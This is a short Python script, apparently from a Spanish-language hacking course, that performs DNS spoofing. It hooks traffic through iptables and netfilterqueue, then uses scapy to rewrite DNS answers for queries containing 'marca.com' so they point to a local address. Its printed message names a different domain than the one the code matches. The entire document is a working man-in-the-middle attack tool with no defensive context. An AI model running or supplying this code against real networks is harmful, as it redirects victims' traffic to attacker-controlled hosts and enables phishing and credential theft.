DNS Poisoning - Python

import netfilterqueue
import scapy.all as scapy
import signal
import sys
import os
from termcolor import colored


def def_handler(sig,frame):
  print(colored(f"\n[+] Saliendo...\n","red"))
  drequirements()
  sys.exit(1)


signal.signal(signal.SIGINT,def_handler)


def process_packet(packet):

  scapy_packet= scapy.IP(packet.get_payload())


  if scapy_packet.haslayer(scapy.DNSRR):
    qname = scapy_packet[scapy.DNSQR].qname

    if b"marca.com" in qname:
      print(f"\n[+] Envenenando el dominio hack4u.io")

      answer = scapy.DNSRR(rrname=qname, rdata="192.168.1.149")
      scapy_packet[scapy.DNS].an = answer
      scapy_packet[scapy.DNS].ancount =1

      del scapy_packet[scapy.IP].len
      del scapy_packet[scapy.IP].chksum
      del scapy_packet[scapy.UDP].len
      del scapy_packet[scapy.UDP].chksum

      packet.set_payload(scapy_packet.build())

  packet.accept()


def requirements():
  os.system("iptables -I INPUT -j NFQUEUE --queue-num 0")
  os.system("iptables -I OUTPUT -j NFQUEUE --queue-num 0")
  os.system("iptables -I FORWARD -j NFQUEUE --queue-num 0")
  os.system("iptables --policy FORWARD ACCEPT")


def drequirements():
  os.system("iptables -D INPUT -j NFQUEUE --queue-num 0")
  os.system("iptables -D OUTPUT -j NFQUEUE --queue-num 0")
  os.system("iptables -D FORWARD -j NFQUEUE --queue-num 0")
  os.system("iptables --policy FORWARD ACCEPT")


def main():
  requirements()
  queue = netfilterqueue.NetfilterQueue() 
  queue.bind(0,process_packet)
  queue.run()


if __name__ == '__main__':
  main()